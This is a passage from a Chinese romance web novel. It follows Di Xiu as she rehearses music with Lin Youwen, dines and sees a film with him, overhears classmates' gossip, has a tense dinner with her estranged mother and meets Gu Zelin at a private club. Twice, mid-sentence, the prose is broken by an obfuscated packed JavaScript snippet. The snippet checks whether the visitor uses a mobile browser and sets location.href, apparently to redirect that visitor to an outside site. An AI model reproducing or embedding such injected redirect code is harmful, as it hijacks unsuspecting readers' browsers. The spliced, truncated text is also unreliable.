那天在训练厅只初步磨合三小时,结果小有成效。 按进度,至多两个星期,他们可以直接上台演出。 周一到周五要在学校上课,空不出一长段时间练习,笛袖遂和林有文约了这周末。 地点是他在江宁的公寓。 这个地方笛袖是第一次来,周日早上十点,她准时在屋外按响门铃,没过多久,房门向内拉开。 开门时林有文穿着宽松家居服、踩着拖鞋,脖子上搭条厚棉毛巾,一头短发乌黑潮湿,像是刚从浴室出来,听笛袖说了声“早”,点点头算作回应,往屋内偏指一下,手扶住门框外沿,请她进来。 玄关鞋柜边提前摆好一双女士拖鞋,定睛细看,却不像是新拆封的。 笛袖弯身换鞋的动作微微一顿,“我才回来不久,屋里很多东西没来得置换,暂时没有新买的拖鞋,这是我妈以前穿过的。”说话间,林有文拉开鞋柜一侧把手,里面是酒店那种塑封的一次性白色薄底棉拖,“这些是备用,你要哪个?” “就这双吧。”笛袖不带纠结换上。 林母和她的尺码差不多,穿进去刚好合适。 笛袖直起身,环顾屋内装潢,菱形客厅中空,入目是大片经典黑白灰。房屋主色单调冷淡,审美固然有,但缺乏宜室宜家的气息,尤其是客厅前后墙体结构严丝密缝,格栅板加强线条化的设计太商务。 笛袖只用一眼判定,这不是林有文喜好的风格。 果然,林有文走到她身边,道:“原先这里是我爸的工作室,我住进来后只改换些装饰,格局没有动。” 上大学期间,家里为了方便他练琴,将林父附近的一间工作室挪址,原班人马跟着动迁,留下间空房子让他随时居住,还配备了一架三角钢琴。 刚洗过的头发有点潮气,带着股沐浴后的清香,说话时身体挨得近,他问:“吃过早餐了吗?” 发尾尖一滴水珠蓦然滑落,擦过耳沿飞快而逝。 她耳尖皮肤轻微地发麻。 “……吃过了,你呢。” “还没来得及弄。” 瞧见林有文眼底一层浅浅青灰,“昨晚熬夜了?”她顿了下,按捺住一刻悸动,头脑灵敏反应道:“大清早冲凉是为了提神,还是根本一晚没睡。” “有些工作。” “不是说好了现在你在休假,工作任务还没停过。”笛袖微蹙眉:“不要紧的不能往后放放吗。” “这些都是要紧的。”林有文道。 报道使用的素材都是他亲历收集,真实性可靠,每一份资料来之不易。 “汇报进度拖延不了,有些内容涉及外交政治敏感信息,我也不放心交给其他人处理。” 真是敬业。笛袖心底不轻不重说一句。 她在想什么,林有文不难猜到。他们在这个话题上永远说不到一块去,笛袖话里隐隐抱怨的意思出自担心,但无法真正理解他,更遑论感同身受,这份职业当初自愿选择,怎么做他心底有数。 林有文不徒劳解释,将擦拭头发的毛巾抽走顺手挂在椅背上。 “不说这些了,来练琴吧。” · 弹奏音乐本质在于抒发人的感受,林有文琴技娴熟,对于表达水准的要求只会更高,他在原本改编过的曲谱基础上,重新又编入一段和弦,对下半部分做了变奏处理,使得情感过渡更流畅自然。 期间少不了多番配合练习。 上午过完,提琴持弓整拉了两小时,双臂变得酸累无比,抬起来格外沉重。 笛袖适时停止下来,中途休息一会儿,林有文点的订餐刚好送到。 菜式清淡,里面一道金汤藕尖鲜嫩脆口,汤汁微酸清爽不腻,笛袖吃了近大半。 午餐之后,她坐在沙发上,身体半陷进柔软坐垫,慢慢开始有点犯困。 ——昨晚没睡好,早早躺上床但一直不得安枕,脑袋里翻来覆去各种念头,不断闪过一些片段和画面。 半梦半醒间,她分不清是单纯睡不着瞎想,还是又在梦境中重温了一遍当年旧事,浮现的人影除了林有文,还有几个再未谋面却刻入记忆深处的脸孔,有男有女。 思绪越陷越深,仿佛沉入无边泥沼。浑身重负千钧,挣扎脱困不得,压得整个人透不过气。 阴潮诡腥的湿土一点点没过头顶。 直到眼前晃过一张桀骜不驯、冷硬清晰的少年面孔。 …… 季扬。 忽地不知从哪迸出一阵劲,骤然奋力挣脱。 笛袖醒过来时,身后冷汗浸湿睡衣。 擦拭餐桌台面,将碗碟收拾归位,一个人清理完厨房,林有文洗净手踱步走至跟前,看见她强撑着眼皮的样子,说:“困的话,去床上休息一会儿。” “不用了。” 刚说完,就打了个哈欠。 她及时捂住嘴,眼角挤出一点泪。 林有文似笑非笑,转身去客卧,打算收拾出一张床铺,让她在这午睡。 衣柜门打开时,尘封灰尘争先恐后扑出来,并蔓延一股陈旧难闻的味道,客房衣柜没有关紧露条缝隙,久放不用的枕被几年内受潮发霉,抖落展开的床单被套上面嵌着发黄的斑块。 …… 眼看是不能用了。 林有文只好把受霉床单裹成一团,待会晚点出门扔掉。他对客厅里的笛袖说道:“可以了,过来这边睡。” 当笛袖进入林有文的卧室时,人明显愣了下。 她眨了眨眼,确认这不是自己的错觉。 人已经从柜子里拿出另一个枕头,摆在原先那个旁边,顺手理了理灰色被面上的折痕。 “没有多余的床单了,先在我这张床上休息一下。” 他随口说道,意思是不方便也暂时只能将就。 笛袖抿了抿唇。 这是他的床,她睡在上面…… “那你呢?” “你昨晚一夜都没睡,现在不睡会儿吗?” 林有文往床上看,之后着意回看她一眼,慢悠悠反问:“只有一张床,你觉得合适吗?” 笛袖张了张嘴,还未回答。 “开个玩笑。” “我不困。”林有文温声:“睡吧。” 他带上房门出去,笛袖一个人坐在床边,犹豫不决到底要不要躺上去。 最后还是抵不住困意,直接闭眼往床上一卧,用被子蒙住头。 熟悉气息瞬间覆盖拥住四肢,犹如曾经在他身上无数次闻到过的,但在以往寻常之上,多了点呛鼻、刺激性的味道,好在并不难闻。 原以为会像昨晚一样在床上辗转反侧,一时半刻难以入睡。但松软床被拥覆过于安心,亦或者说她在林有文身边不用抱有任何戒备,疲惫倦意袭过全身,笛袖很快沉沉睡着。 不知隔了多久,日头西沉倾斜,早秋阳光穿透力极强,穿过玻璃,从没拉上的窗帘映照到宽大床面,烈阳晃醒窝在被塌里的人。 笛袖翻身平躺,捂住眼睛,半眯了会儿。 透过指缝盯着天花板上造型奇异的螺旋状吊灯回神片刻,才意识到这是哪里。 ……! 她腾得坐起身,一觉醒来,看时间已经到下午四点。 林有文竟然没叫她,半小时的午睡变成了一场深度补觉。 没有以往午觉睡太久昏昏沉沉的感觉,反而精神充足,神思异常清醒。 笛袖下床穿鞋,从卧室出来,几步后映入眼帘的,便是一整面落地窗。 白色的窗帘挂起,两侧纱窗拉开通风。全景落地窗自内向外俯瞰地面,高空视线尤为开阔,有如画框般裁出一片云层稀薄、宛同碧洗的晴空。 明朗之下,一切事物富有细节而生动。 林有文侧身对她,站在窗边低头看文件的仪态非常好,身稳肩平,落于纸面上的目光凝神细致,右手食指和中指夹着根烟,偶尔递至嘴边,垂手弹落新产生的烟灰磕散在透气纱窗的窗框风槽。随手一个动作做得赏心悦目。 自重逢后,她见林有文手边就没断过烟,以前不是这样,印象中他几乎不抽烟。 笛袖不自觉放轻脚步,“你什么时候养成了吸烟的习惯?” 林有文倏忽见到她,一怔。 她穿的是条薄厚适中的碎花裙子,花朵量感小,鲜艳细碎,零星点点洒在裙面上,清新又自然,及膝裙沿下裸露细瘦白皙的腿,走路曲起时看到明显的膝盖骨,自然光下白得晃眼。 长发散落蓬松,整个人都是才从他床上睡醒的松弛状态。 男人眼神黯了点。 喉咙滚动,没立刻回答。笛袖静静望着他,相对无声中,气氛陡然有些暧昧。 笛袖故意靠得很近,胸口快挨到他的手肘。她不仅清楚如何发挥自己的优势,还懂得放大优点。 最终林有文轻咳几声,偏过头去。 他晃下手指,在窗缝间摁灭火星,“呛到你了?”试图掩盖过某些反应, “我以为你还没起。” 笛袖摇头,“有烟瘾?” 她猜测林有文频繁抽烟。早上刚进来的时候,屋内窗户开着通风,但仔细闻还是能闻出喷过空气清新剂的味道,就连他一夜没睡过的被子上,都染上了烟草气味。 “不至于,没这么严重。” “算是……留下的后遗症吧。”林有文淡笑,“等意识到的时候,已经戒不掉了。” 笛袖沉默地看着他。 桌上放壶用于提神的咖啡,由此可见加班加点是日常,刚手冲萃取出的瑰夏咖啡液还冒着热气,杯口白雾氤氲,飘着像糅合进茉莉和柑橘两种花香的独特气息,她在对面坐下倒了一小杯,慢慢饮几口,眼神瞥见摊开的纸页上,印刷密密麻麻的文字,弯曲像蛇尾巴,又由圈圈圆圆的符号组成。 从字形特点上看,她大致分辨出这是中东地区语言,大概率是阿拉伯语或波斯语中的一种。 这两种语言文字形状相似,但不是一个语系,波斯语本身和英语同源,属于印欧语系,阿拉伯语属于亚非语系。 外语文件上面写的内容,她不关心,反而看见后,内心一股郁结之气加重。 许是表现得过于郁闷,林有文望向半杯咖啡入肚的她,出声劝了句:“这个点醒来,还喝这么浓的咖啡,小心晚上失眠。” 话说的有道理,笛袖听进去了,把剩下的小半杯咖啡放到一边。 林有文不动声色,转移开她的注意力:“晚饭想吃什么?” “现在吗?” 这话问得笛袖奇怪,“现在还很早。” “待会晚饭出去吃,我们要提早出门,你有时间先想着,然后告诉我决定。” “……” 林有文把散落桌面的文件收整齐,装进密封袋子里,提示她:“我不是还欠你一顿饭?” 笛袖这才恍然,是了,难为他还记得。 · 晚上,他们到邻近商场吃晚饭,笛袖翻手机挑了好几家,最后选了家粥底火锅。 煮开的白米粥当锅底,加入海鲜生滚,虾贝一经煮熟后捞出,搭配沙姜酱油料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826121|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁,既保留食材本身的鲜美,又有咸香。 牛肉裹上鸡蛋液再入粥锅涮熟,这样煮出来口感嫩滑,等吃完各种肉类,最后往粥底,撒上一把青菜滚至七分熟关火,淋上香油,又是一碗特别的砂锅粥。 这种吃法适合养生人群。 他们出来得早,吃完后也才不到八点,打算趁还有时间去趟生活超市——林有文家里一些生活用品放两年都不能用了,全部要换成新的。 周末用餐高峰期商场内人流攒涌不休,比来时多了许多,每走几步路就被挡道。 乘扶手电梯时,笛袖更是差点被人堆里猛蹿出来一个小男孩撞倒,险些摔下去,好在林有文眼疾手快,及时拉住了。 人太多了。笛袖叹了口气,没有逛下去的欲望,刚想提议要不要先回去,换个时间再买家用,却发现林有文目光投向商场顶部悬挂的旗帜式POP广告。 其中一幅是巨型电影海报。 视线停驻须臾,之后听见他问:“要不要去看电影?” …… 笛袖对着显示影片名的屏幕,仰头仔细看了半分钟。 她挑的十分认真,一扫方才兴致缺缺的模样,正觉得这体验新奇又熟悉—— 上一次他们一起看电影,还是她十四岁那年。 最近国内影院都被某部悬疑大片包揽掉黄金时段的场次,影片上座率高、反响热烈好评如云。故事线新颖,商业价值不菲的男女主角互飙演技,还有国际巨星友情客串,让观众直呼好看过瘾。 其余电影排片总数加起来比不上它的十分之一。 笛袖打定主意就选它,挑了个最近的场次,电影在二十分钟后开场。 林有文取票的时候,她去柜台买爆米花和饮料。 售卖台旁边就是检票口,一群女生相谈笑着经过,她们打扮靓丽。 验票前,有人提议:“咱们先买杯可乐吧,免得待会看着口渴。” “好啊。” “我去买,谁要喝的和我说一声。” “我我我,记得要加冰。” 凌毓说完,无意间往旁边柜台瞥了眼,撞见某道倩影,意外地愣住。 她定了定神仔细看去,随后愕然开口: “笛袖?” 其余人闻声纷纷看过去,笛袖扭头看她们,发现都是熟面孔。 是校庆表演的那群女生。 凌毓最先看到笛袖,惊讶道:“你今晚也来看电影啊!” “……嗯。” 笛袖目光转过一群人,脑袋跟上反应:“你们是约好一起来的?” “对啊,你不记得了吗。”凌毓说:“上回我们约你,你不是说不来么?” 这件事还得追溯到上周六那回排练,她彩排结束急着和林有文见面,没有参加她们的聚会。 笛袖原以为这早已经结束了。 “可当时说得,好像是周六晚上吧。” 凌毓接道:“那天排练得太晚,我们后来改时间了,定在下周末,也就是今天咯。” 笛袖暗道难怪,会在这个点撞上她们。 “真的好巧,你是自己看电影,还是和朋友一起?”凌毓出于好意问了句,她看到笛袖是一个人,要是对方落单的话,不妨跟她们进去看同一场,毕竟独乐乐不如众乐乐嘛。 “哲哲。” 身后忽然传来一道低沉平缓的声音。林有文取完票过来,看到笛袖身边多出围成一圈的六七个女生,她们穿衣风格迥异,有的妆扮成熟有的森系清新,无法被单一词汇定义,但涉世未深的明亮眼眸,和对一切新事物苗头跃跃欲试地冲动探究,表明了这个年纪独有的学生身份。 “这是你同学?” 林有文一经出现,女生们的眼睛瞬间亮了亮。 他和学校里见到的男生很不一样,衣着矜贵,外表温润有度,声音沉稳有力,没有半点毛头小子的浮躁。 具备一定阅历的男人和爱招骂逗笑的大男孩之间的差距,不亚于两个物种。女生们看得杵在原地——倒不是说对方不年轻,实际上他看起来比她们不大了几岁,但那种阅历深浅的界限感尤为清晰地存在着。 “对。”笛袖解释说:“她们事先约好了聚会,没想到会在这碰上。” 再问方知,她们要看的电影竟然和他俩是同一场。既然撞上了,又都是女生,林有文不介意额外再买几张票。 凌毓阻止了他的“阔绰”行为,忙说:“不用不用,谢谢,我们已经在线上买好了。” 其余人八卦的眼神则在笛袖和林有文间不停打转。 “笛袖,这是你男朋友嘛?”有个女生大胆问道。 笛袖触不及防,没想到她们会这么直接。 忍不住轻咳两声缓解尴尬,边寻思该怎么解释她和林有文的关系——朋友?好像没有这么简单,情侣?想归想可惜不是。 …… 正当她犹豫如何应答时,肩膀一侧搭上手。 腕间稍一使力,人被往他的方向带过去,径直纳入怀中,这样一来笛袖等于靠在林有文胸膛,因忽如其来的拉近距离有点诧异。但之前相处时也不是没有过,她稍微错愕抬眼看向对方。 林有文从身后揽住笛袖的肩,冲女生们略点头,算打过招呼:“时间快到了,我们先进去。” 两人并肩向入口处走,姿态说不出的亲昵,在众人视角里,和情侣间没什么区别。 似乎所有人默认他们是一对,走远时还听见女生讨论:“笛袖和她男朋友感情真好啊。” “难怪之前不和我们看电影,原来早就有对象陪着看了。” “重点是,她男朋友很帅很有feel!” “我靠羡慕死了,连背影都好好磕。” 谈话声中,唯独平常和笛袖走得近的凌毓若有所思: “奇怪,怎么以前从没见她提到过……” 7. 预演7 因为这一遭变故,笛袖全程看电影时都有些心不在焉。 买票的时候临近开场,只剩下前面几排的座椅位置,笛袖和林有文坐在第二排,随后进来的同校女生坐在他们后面。尽管隔了十几排座位,但和一群认识却不太熟的人看电影的坏处在所难免——即便笛袖全副心思专注在电影上,也难以忽视身后那些窥探目光时不时一晃而过,更别提她当下正犯忐忑,方才女生们窃窃私语的议论声仿佛仍在耳边回荡。 …… 提到他俩是情侣的说辞,不止笛袖听见,她相信林有文也听见了,那一刻没有走远,完全可以及时做出澄清。 笛袖心想:明明是个误会,为什么不反驳呢? ——就像在孟若面前一样,林有文装作两人并不相识。那么这一次的做法又该如何解释? 但她终究没有问,因为答案未必是想听到的。 大荧幕光影交错闪动,画面繁重而华丽,充满深沉诡谲的奇幻色彩。余光中,林有文看得很专心,对他而言,在电影院安安静静观看完一整部片子极其难得,只有在国内才能享受到这份安宁和投入。 两个小时过去,影片结束亮灯。 观众接连起身,他们跟随人流出来,走至半路,笛袖摸到包里突然发现蓝牙耳机掉了。 她和林有文说一声,折返回影厅找。 影厅内,两个座椅夹缝中间地面上,笛袖捡起自己遗落的白色耳机盒,盒身沾到掉落的爆米花碎,沾染灰尘和糖浆,连带弄脏了手。 不由蹙眉,走廊左拐尽头是女卫生巾,她去到盥洗台前净手,低头时听到里面隔断传出交谈声响。 女生们围聚在一起,估计以为当事人已经走了,声量并未压低,话题主角是她。 “……记不清听谁提起过,她这学期搬出宿舍了,不住校,是不是在和对象同居?” “这个可说不准,她男朋友看起来就不像是校内人士。” “那男的衣着气派显贵,不像是一般人,难怪笛袖看不上学校那些俗物。” “你们说,平日里她看着家境很好的样子,到底她是自己有钱,还是靠男人?” “啊……我还以为她多特别,这不和那个谁一样吗。” 她们未能察觉到当事人就在一墙之外,谈话内容从一个月前笛袖拒绝的某个校庆节目主唱的男生开始,再到在众人认知中她一直都是单身,此前各种说辞纷呈,其中最多的一种说法是她眼高于顶,瞧不上同校的那些男生,本人对此也始终未有回应,而在林有文出现后,这个说法又往另一个方向演化。 …… 女大学生,成功人士,校外同居,虚荣拜金等等,任何一种组合都能引爆话题。 静静听了几分钟,切身感受背地里他人如何评价自己,更难听的话都入耳了,言辞尖酸莫过如此。 笛袖神色却一点未动,面不改色擦干净手,转身走到影院出口,看见林有文等待的身影。 “找到耳机了吗?”他问道。 她点头,“就掉在座位底下。” 其实去的时间有点长,林有文静看她两秒,因神色如常,便没多问。 “现在要回去了吗?”林有文还没作声,笛袖已主动开口,虽是询问但口吻有着明知不会被拒绝的笃定。 “时间还早,我们可以继续去逛生活超市。” · 次日周一,课程表从早上开始排满,同桌关悠然估计昨晚熬夜,上到一半困得不行,午后的思政课更是哈欠连天,趴在笛袖肩眯眼睡着。 好不容易熬过白天课程,铃声一响,学生们收拾笔电书本,起身离开教室。 数院课程采取自选模式,学生可自由安排课表。这意味着即使在同教室上课的学生也很可能未必来自同班级,关悠然和笛袖属于后者的少数人——她俩从大一开学起便认识,每学期科目几乎选的相同任教老师,课表时间、上课地点高度重叠,自然而然凑到一起。 楼道内人多,上楼和下楼的两拨学生挤在一块,乌泱泱的。她们步子慢下来,索性不急于这一时,笛袖靠着走廊墙壁闭目养神,关悠然却截然相反,她一下课即满血复活,低头玩起手机,在微博看见个有意思的词条止不住笑,还戳了戳笛袖手臂斜过屏幕分享给她看。 评论区各种抖机灵,笛袖睁眼瞥了几眼,这时身侧过来个男生。 “你好。” “额,我是隔壁L407教室上课的,每周这个时候都能看到你。”他忐忑地打声招呼。 男生白T运动裤,长相清爽,第一观感不错,即使紧张,但眼神相当坚定,直直瞅着笛袖一眼不眨,目标人物明确。 关悠然一副“又来了”的见怪不怪表情,暗摸摸翻起白眼,心里默数这是笛袖本学期第几回遭遇搭讪了。 “我想问你有男朋友吗。” 笛袖不动声色,从男生手里拿的课本上收回视线。 他接着问:“没有的话,方便加个好友么?” “抱歉,我不喜欢年纪比我小的。” 对方明显一愣,没预料得到这个回答。 回绝地干脆,等于几乎零可能。男生碰到一鼻子灰,闷声不语走了。 身旁关悠然饶有兴致道:“一句话杀伤力这么大,直接把人劝退了,你是怎么想出这个理由的?” “他拿的书是《建筑设计基础(一)》,建筑系大一专业课程。” 一会儿时间,楼道人群疏散开,笛袖抬眼示意下楼,说道:“我不会随便编个借口拒绝别人。” 关悠然赞叹:“有理有据,服气!” “你是真不喜欢年下,还是单纯对他没兴趣,故意看他比我们小两届才说的。” 笛袖淡笑,“都有。” “哈哈哈,”关悠然愣了一下,随后大笑,紧跟着追问:“那我好奇表白过的人里,年龄最小和你差多少岁。” “差三岁。”笛袖想了想说。 “你今年二十一,比二十一小三岁是十八……刚成年?”关悠然掰着手指头数,惊奇哇哦一声。 “他一时兴起,当不了真。” 笛袖只是笑笑,三言两语带过去。 本来只是打闹说笑,关悠然也没继续深究。 “对了,今天你是要和家里人吃饭嘛?” “嗯,和我妈妈。” 提到笛袖母亲,关悠然随即想起很多。据她所了解到的,笛袖每个月固定有一天和她妈妈吃晚饭。这样的相处模式在普通家庭里根本不可能,她们母女俩的关系好像一点都不亲近,关悠然曾经很是疑惑,问笛袖:“你妈妈是不是特别忙啊,忙到每个月只能抽出一天和家里人吃饭?” 笛袖没告诉她,这个约定不是她母亲季女士定下,而是她自己提出的。 · 高档华贵的中式餐厅内,应侍生男女严肃恭谨,招待贵宾室内的客人衣容典雅。 纯色单排扣女士西装,裸色高跟鞋,旁边座位立着HermesBirkin手提包,孔雀蓝鳄鱼皮鲜亮醒目,笛袖进门那一刻,季女士抱臂眺望窗外风景,一道侧影女人味十足,彰显女性的美和媚,梳起黑发一丝不苟盘起,兼顾商场干练女强人的风格。 笛袖到之后,季女士让服务员开菜,一碟碟看起来就很精致昂贵的菜色端上台面。 “点的都是你喜欢吃的。”季女士坐下,同女儿语调亲切说道:“哲哲,你多吃点。” 她吃了几口,忽然感慨般地放下筷子,“今天公司有几个重要会议开,拖得时间比较晚了,妈妈来不及回家给你做饭,只能将就在外面吃一顿。” 在她口中,这一桌五星级酒店名厨做出的佳肴,却像是在委屈女儿。 笛袖咽下一颗菠萝咖喱鸡球,“您不会做饭,在家里是别人做,在外面吃也是一样,没什么区别。” 季女士微微笑着:“好,还有什么想吃的,你自己再点。” “现在一个人住在外面,还习惯吗?我原先要你和我住家里,你总不同意。” “您那离学校远,不方便。” 一口一个“您”,却不肯叫那两个字的称呼。母女间对话像是客套的礼节问候,有问则答,无事相干。 季洁嘴里索然无味,她失了胃口,抬起高脚杯喝了点红酒,“之前给的钱还够花吗?上次转账也有两个月了,要是缺零花,记得和妈妈说。” “够。” 笛袖停箸,抬眼看向母亲,说道:“我是学生,平时没有太多地方开销,去年你给我的还有剩,一直放那没动过。爸爸每个月会给我生活费,已经够我平时用的。” 一直连续的对话,单纯是一方没话找话,试图拉近距离,她当年亲手划下隔阂,才造成这副难堪局面。笛袖疲于应付无休止、无意义的对话,“我不会和你住一起,那是你家,不是我的。” 此话一出,毫不意外女人的脸顷刻僵住。 笛袖仿若未见,低头提起筷子,淡然道:“话说完了。我饿了,先吃饭吧。” 她把每月一次和母亲见面当作例行公事。如无必要,她并不想彼此间更多来往,当年母亲选择偏袒季扬,低声下气哀求,只为让还躺在病房里的女儿原谅同母异父的兄长犯下的罪责,从那一刻起,这根刺便扎在她的胸口,至今没能拔出,血淋淋地存在彰显过去发生过什么。 她说不出尖酸的言语,眼前坐的是她的亲生母亲,笛袖不愿意用难听刺耳的话语和冷脸相待去伤害她,但如果过于温和,轻易妥协,她更觉得对不起曾经的自己。 沉默之中,笛袖很快吃完碗内最后一口米饭,“我好了,您慢用。” 她拎起包,走的时候,季洁的声音从身后悠悠传来,似细微喟叹:“……哲哲,你还在怪妈妈是不是。” 不是询问。 而是肯定一句陈述。 连她自己都知道,即使后来做了再多的弥补,裂痕还在那里。 笛袖顿了下,没回答。 她走出酒店,在街边打车,路段繁华车来车往,出入酒店地下车库的各式豪车上,主人安然落座后排,驾驶位开车的都是穿着制服的司机。 ——这家餐厅附属在何氏酒店名下,目标消费人群对标高端人士,季洁是其中的座上宾之一。 她有一个富有的母亲,可惜无济于事。 手机提示音“叮”地一声,短信弹出,她解开锁屏一看: 银行卡入账一百万。 笛袖盯着那串数字,脸上没什么表情,她招手拦下一辆出租车时,面前却停下一辆车身漆黑的行政车。 司机降下车窗,“小姐,我按季总的吩咐,送您回去。” “……” 免费送上门的搭乘服务不要白不要,她干脆利落拉开后门,坐进后座。 车行驶到半路,忽然接到一个电话,是林有文打来的。 笛袖通过后视镜,看到目不斜视、专心开车的司机,手指划到绿色按钮上,接听通话。 “是哲哲吗?”对面一开口,却是道陌生男声,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一阵忙音之后,笛袖无奈翻出那条短信,只能按照对方发的房号找过去。 下车前,司机称职地提醒道:“我在车库出口附近等您。” “不用了。”和季女士吃过饭后,半路上又兜转绕了一圈,时间已经不算早,笛袖说:“你先回去吧。” 司机似乎犹豫了下,笛袖立刻明白对方的为难,接着道:“我不清楚什么时候出来,白费你大晚上等在这,到时候我自己会打车回。季总要是问起,你就说这是我的原话。” 果然,司机得到这句保证,安心开车走了。 · 桧园毗邻江边,夜幕萧瑟秋风中,这栋红白建筑灯火辉煌,将一带江景映得莹光璀璨、水面寒光清粼。 进了正门,大厅内淡雅悠长的室内香氛弥漫过来,先于礼宾们一步向客人问候。 香味纯正柔和,闻着像是品质上佳的檀香。 普通场所可用不起这个价位的老山檀香料,烧香如焚金。这间会所归属于某家私人俱乐部,白天向专属会员开放,仅在晚上对外营业。 因名声在外,专程到这消费的人十分多,笛袖问清方向楼层,按着明确的房号寻过去。 隔间私密性极好,经过廊道时,只隐约可闻某些房间有轻微动静,听不清一墙之内交谈声音。 路上脚步逐渐加快,接电话时声音端得是平静,她在外人面前不会轻易显露情绪,但此刻听到林有文被灌酒后产生的心急和担忧终于按捺不住。 就在这时,她看到那串三位数字。 笛袖想也没想,一把推动房门,门开刹那恰好攀上高潮节奏的音乐炸响耳边,震得脑袋嗡嗡地,里面坐着约摸二三十来个人,迎面尽是陌生面孔,年轻男女形形色色,都在围桌喝酒取乐。 甫一开门以为是服务生送酒,靠近沙发边的男人指了指鞋边地面,头也没回吩咐:“搁这。” “……” 笛袖怔住片刻。等不到反应,那男的微拧起眉,似乎脾气不太好的样子,提声:“我说你是不是耳朵——” 转过头,刚开口便噤音。 …… 他半眯着眼,借光打量笛袖的脸,随即吹了一声口哨。 “哇噢。” “好正点的妞。” “今晚有个惊喜送上门了。” 态度立转,以对待合心意猎物的兴奋语气和眼神瞧着她,视线刻意往胸臀腿重点部分照顾,令人倍感不适,且引得更多的同伴看过来,一众玩世不恭的富家子弟发现这个误入领地的漂亮女孩。 笛袖慢半拍意识到走错房间,说声“抱歉”快速退出去。 “欸——” “别走啊。” 利落关上门,将里面几句起哄挑逗的嘘声一并封起来。 笛袖皱着眉头,忍下心内冒出那阵恶寒,站在空荡荡的走廊,思索如何找到林有文。 他这位大学同学太不靠谱!竟然连房号都能发错,问题是现在电话还打不通,去问前台么,对方不可能登记上每个客人的名字,她挨个房间去问更不现实。 没几秒,身后那扇红棕色大门从内拉开,音乐滚浪声涌出来,笛袖下意识一惊。 在扭头回看清紧跟出来的那人面孔时,因戒备绷直的身体,才陡然放松下来。 顾泽临站在门口,表情略微诧异。 “真的是你。” “我以为眼花看错人了。”他的声音从惊讶,慢慢染上轻快的喜悦,“你怎么在这里?” 8. 预演8 眼前这个男孩面庞好看到有些过了头,似初开锋后的刀刃,锐意逼人。 十七八岁的年纪,眉梢间压不住的凌厉,浑身散发着张扬中带一丝丝危险的暗示。而他的家世亦同外表一样突出且强势,若以身价地位论高低之分,顾家无疑位于最上面一阶层——自从和京城从政的徐氏家族攀上姻亲后,顾家根基愈发稳固不可动摇,短短几十年间发展腾飞,紧靠一艘吨位极深的“航母级船艏”出海,抵御掉无数风险,好处不言而喻。 她和顾泽临是在两年前认识,那次见面,也是偶然之下和他姐姐产生一些交集。 她母亲季女士与顾泽临的伯父,顾家对外的话事人、集团董事长近年来在生意上有往来,某次商业合作的场合上,笛袖正式结识了顾董千金。顾小姐生得眉目可亲,月儿般盈盈的一张脸,最要紧的是她与笛袖十分投缘,一见如故,聚会还没结束,便笑着宣称她们以后要成为好朋友。 季女士一直看好这段小辈间的友谊,目的很纯粹——希望借这位顾家千金稳定良好的合作关系。 在不了解母女关系的外人眼里,季女士隐晦又不失委婉的示好,间接代表了笛袖的态度。 于是顾小姐欣然接受了这份“友善”,并开始邀请笛袖外出同行或到家里作客。 笛袖不会每次应约。她心里有个度量,只挑合适的时机去。 一味迎合另一方的关系注定不长远,更做不成朋友。既不过分热络,也不至于让对方觉得冷淡的态度把持得刚刚好,反而换取来平等姿态,将有些悬殊的身份差抹平近无。 她有意经营女孩子间的友情,所以相处的时候顾小姐总是格外开心,在言行上,则表现出对她越来越亲近和信任。 起初笛袖受邀出入顾家频繁,也是在那时,她在他姐姐的介绍下认识了顾泽临。两人称不上陌生,也曾泛泛问候几句,但要说有多熟……顾泽临十三岁到英国私校留学一直至今,偶尔不定回国,逢面机会掰着一个手的指头数得过来,顶多算脸熟的点头之交。 她刚才试图在人堆里找到林有文的面孔时,不曾想会意外撞见他。 仔细算来,这还是隔了一年多才再见面,不知道顾泽临有没认出她,或者说还记不记得自己这个人。 所以笛袖看见了,但没作任何反应。 何况方才那场合,叫她回想仍有一丝反感。 “你怎么在这?” 顾泽临挑眉,完全处于意料之外。 笛袖顿了下,“我来找一个人。” 他反手合上包厢门,将喧嚣鼎沸的摇滚声和背景音隔绝开来。 “谁,要帮忙吗。” 顾泽临来这么一句,极大可能只是顺嘴一说,但笛袖还真的需要。她抓住机会,不带拘泥说道:“我朋友刚才给我发消息,让我来接他回去,房间号不知道怎么发错了,写的是你们的号码。我现在联系不上他,电话打不通,消息没回复。” “手机没电了?” “应该是。” 顾泽临点了下头,一件小事而已,顺手叫住路过的服务生,“替我找个客人。” 服侍生没有相应权限,不到一分钟,负责的经理闻讯赶过来。当着经理的面,顾泽临才想起来问:“对了,你朋友叫什么名字。” 笛袖回:“林有文。” 这三个字入耳,顾泽临眼神轻微闪烁一下,说不出是意外还是别的什么。 经理冲对讲机那边传话两句,发动底下工作人员挨个包厢去问有没有姓林同名的客人。 等待间隙,笛袖望着开阔又幽深的走廊,前者是因为铺地毯的地面纵向宽,后者则是特意设计的灯光布局造成的视觉感受。 眼下只剩两个人时,就显得甬道格外安静和空旷……顾泽临无声沉默,她脑袋空空,没有和顾泽临独处的经历,不知道要聊什么,但又不想局面太干,想了想抛出一句:“你是这里的熟客?” 他没直接答,“那要看你对熟客的定义了。” “是不是经常来。” “一般。朋友喜欢在这里组局,偶尔过来几次。” 笛袖轻轻道:“噢……” “原来那些是你朋友——” 方才调侃轻浮的场面还记着,这下话里有话,带点问责的意思,顾泽临很快听出来,黑漆漆的睫羽微抬,在他开口解释前,她又轻巧地揭了过去,“我看你对这里环境很熟悉,你是俱乐部的会员?” “……”顾泽临回:“这样说不太准确,我持有这家俱乐部的一部分股份。” 再联系到经理对他毕恭毕敬的态度,以及凭一句话发动所有人的能力,证实了这点。 “挺久没见,最近在忙什么?” 